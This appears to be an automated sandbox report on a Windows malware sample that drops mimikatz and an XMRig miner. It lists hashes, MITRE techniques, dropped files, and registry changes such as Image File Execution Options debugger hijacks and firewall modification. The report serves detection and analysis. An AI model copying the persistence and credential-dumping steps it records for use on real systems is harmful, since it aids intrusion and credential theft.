mimikatz | e1bda9b2c4f9f588caf297abfe16c01f05962abaa867bb56a1f443d9897366eb

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-11-2024 06:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
Size

8.8MB
MD5

81594235e04702f3a03119b34701dd79
SHA1

5e52ff646399b5bea1773f1b6fb24df09fb02223
SHA256

e1bda9b2c4f9f588caf297abfe16c01f05962abaa867bb56a1f443d9897366eb
SHA512

e57939d5796986cf798bd5f962be4f8732d30253970aba0aac6455d06b8fcecd1eb2e08a8bdd4b39531601efee3e315bae3ae14b488556a8b7face33de9a7354
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 836 created 2140	836	jirnzjt.exe	38

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (18566) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/4400-183-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-188-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-205-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-215-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-227-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-234-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-249-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-498-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-499-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig
behavioral2/memory/4400-501-0x00007FF739060000-0x00007FF739180000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/3936-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3936-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000a000000023b93-6.dat	mimikatz
behavioral2/memory/776-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1116-138-0x00007FF79FC80000-0x00007FF79FD6E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	jirnzjt.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	jirnzjt.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	jirnzjt.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4004	netsh.exe
2448	netsh.exe

Executes dropped EXE 28 IoCs

pid	Process
776	jirnzjt.exe
836	jirnzjt.exe
4640	wpcap.exe
4384	llefvytvt.exe
1116	vfshost.exe
4684	vrlgkrtsk.exe
3260	xohudmc.exe
4400	jngiyk.exe
3156	yqiwma.exe
2864	vrlgkrtsk.exe
2436	jirnzjt.exe
444	vrlgkrtsk.exe
4004	vrlgkrtsk.exe
3548	vrlgkrtsk.exe
4836	vrlgkrtsk.exe
4312	vrlgkrtsk.exe
2236	vrlgkrtsk.exe
3644	vrlgkrtsk.exe
3152	vrlgkrtsk.exe
4084	vrlgkrtsk.exe
2968	vrlgkrtsk.exe
4108	vrlgkrtsk.exe
4420	vrlgkrtsk.exe
4176	vrlgkrtsk.exe
4460	vrlgkrtsk.exe
5076	vrlgkrtsk.exe
776	lsivtqwuf.exe
2340	jirnzjt.exe

Loads dropped DLL 12 IoCs

pid	Process
4640	wpcap.exe
4640	wpcap.exe
4640	wpcap.exe
4640	wpcap.exe
4640	wpcap.exe
4640	wpcap.exe
4640	wpcap.exe
4640	wpcap.exe
4640	wpcap.exe
4384	llefvytvt.exe
4384	llefvytvt.exe
4384	llefvytvt.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
71	ifconfig.me
72	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\088D7AA6D7DCA369223412E8DEF831B8	jirnzjt.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	jirnzjt.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\yqiwma.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\yqiwma.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	jirnzjt.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	jirnzjt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\088D7AA6D7DCA369223412E8DEF831B8	jirnzjt.exe

UPX packed file 34 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023c80-134.dat	upx
behavioral2/memory/1116-135-0x00007FF79FC80000-0x00007FF79FD6E000-memory.dmp	upx
behavioral2/memory/1116-138-0x00007FF79FC80000-0x00007FF79FD6E000-memory.dmp	upx
behavioral2/files/0x0007000000023c8b-141.dat	upx
behavioral2/memory/4684-142-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4684-146-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-154-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/files/0x0007000000023c88-152.dat	upx
behavioral2/memory/2864-172-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/444-181-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-183-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/4004-186-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-188-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/3548-191-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4836-195-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4312-199-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/2236-203-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-205-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/3644-208-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/3152-212-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-215-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/4084-217-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/2968-221-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4108-225-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-227-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/4420-230-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4176-233-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-234-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/4460-236-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/5076-238-0x00007FF60F270000-0x00007FF60F2CB000-memory.dmp	upx
behavioral2/memory/4400-249-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/4400-498-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/4400-499-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx
behavioral2/memory/4400-501-0x00007FF739060000-0x00007FF739180000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\etqajulug\UnattendGC\specials\ssleay32.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\wpcap.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\crli-0.dll	jirnzjt.exe
File opened for modification	C:\Windows\etqajulug\Corporate\log.txt	cmd.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\cnli-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\trch-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\trfo-2.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\svschost.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\ip.txt	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\AppCapture32.dll	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\jirnzjt.exe	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\exma-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\posh-0.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\ucl.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\svschost.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\vimpcsvc.xml	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\docmicfg.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\Packet.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\zlib1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\vimpcsvc.exe	jirnzjt.exe
File opened for modification	C:\Windows\etqajulug\ekithtuut\Packet.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\Corporate\mimilib.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\scan.bat	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\vimpcsvc.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\docmicfg.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\schoedcl.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\wpcap.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\coli-0.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\Corporate\mimidrv.sys	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\docmicfg.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\docmicfg.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\schoedcl.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\upbdrjv\swrpwe.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\ekithtuut\lsivtqwuf.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\xdvl-0.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\spoolsrv.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\schoedcl.xml	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\spoolsrv.xml	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\vimpcsvc.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\AppCapture64.dll	jirnzjt.exe
File created	C:\Windows\ime\jirnzjt.exe	jirnzjt.exe
File opened for modification	C:\Windows\etqajulug\ekithtuut\Result.txt	lsivtqwuf.exe
File created	C:\Windows\etqajulug\ekithtuut\llefvytvt.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\libeay32.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\spoolsrv.xml	jirnzjt.exe
File created	C:\Windows\mgifenbt\svschost.xml	jirnzjt.exe
File created	C:\Windows\mgifenbt\vimpcsvc.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\Shellcode.ini	jirnzjt.exe
File created	C:\Windows\mgifenbt\jirnzjt.exe	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\libxml2.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\tucl-1.dll	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\svschost.exe	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\spoolsrv.xml	jirnzjt.exe
File created	C:\Windows\mgifenbt\docmicfg.xml	jirnzjt.exe
File created	C:\Windows\mgifenbt\schoedcl.xml	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\schoedcl.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\UnattendGC\specials\tibe-2.dll	jirnzjt.exe
File created	C:\Windows\mgifenbt\spoolsrv.xml	jirnzjt.exe
File opened for modification	C:\Windows\mgifenbt\svschost.xml	jirnzjt.exe
File created	C:\Windows\etqajulug\Corporate\vfshost.exe	jirnzjt.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1600	sc.exe
2392	sc.exe
4268	sc.exe
3460	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
